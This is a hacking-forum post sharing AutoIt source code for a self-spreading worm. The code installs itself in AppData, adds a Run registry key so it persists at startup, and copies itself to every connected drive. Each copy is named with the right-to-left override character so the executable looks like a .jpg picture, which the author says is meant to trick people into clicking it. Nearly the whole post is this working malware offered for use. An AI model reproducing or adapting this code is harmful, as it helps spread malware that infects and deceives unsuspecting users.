[AutoIt]Basic Worm with Extension Exploit 10-09-2011, 12:03 AM
#1
Basic worm, it uses extension exploit to SE people to click it. It spreads through connected drivers.
Note: You HAVE to compile the source or it won't work...
Note: You HAVE to compile the source or it won't work...
Code:
#Region 'Vars'
Dim $Drives[25] ;Will hold info about existing drivers
Dim $Num = 0 ;Number of drivers
Dim $Temp = 65 ;Ascii value of drivers [A to Z]
#endregion
While 1
startup()
Spreading()
Wend
#region 'Spreading'
Func Spreading()
$Num = 0
While $Temp <= 90 ;Instead of huge IF statement, using ASCII values to check drivers
If FileExists(Chr($Temp) & ':\') Then
$Drives[$Num] = Chr($Temp) & ':\' ;Adding the found driver to array
$Num += 1
EndIf
$Temp += 1
Wend
$Temp = 0 ;Reseting Temp so it can be re-used to spread
While $Temp <= $Num
If NOT FIleExists($Drives[$Temp] & ExtExploit()) Then
FileCopy ('SoundDrivers.exe', $Drives[$Temp] & ExtExploit(), 1)
EndIf
$Temp += 1
WEnd
EndFunc
Func ExtExploit() ;extension exploit
$mystring="jpg" ;desired extension
$reverse_string = ""
$string_length = StringLen($mystring)
For $i = 1 to $string_length ;reversing the string... damn you autoit for not making a function!!!
$last_n_chrs = StringRight($mystring, $i)
$nth_chr = StringTrimRight($last_n_chrs, $i-1)
$reverse_string= $reverse_string & $nth_chr
Next
$Name = "Party Time! at M" & ChrW(8238) & $reverse_string & ".exe"
return ($Name)
EndFunc
#endregion
Func Startup()
If NOT FileExists(@AppDataDir & '\SoundDrivers.exe') Then
FileCopy ('SoundDrivers.exe', @AppDataDir & '/SoundDrivers.exe', 1)
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SoundDrivers", "REG_SZ", @ScriptFullPath)
EndIf
EndFuncStaff will never ever ask you for your personal information.
We know everything about you anyway.
We know everything about you anyway.
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
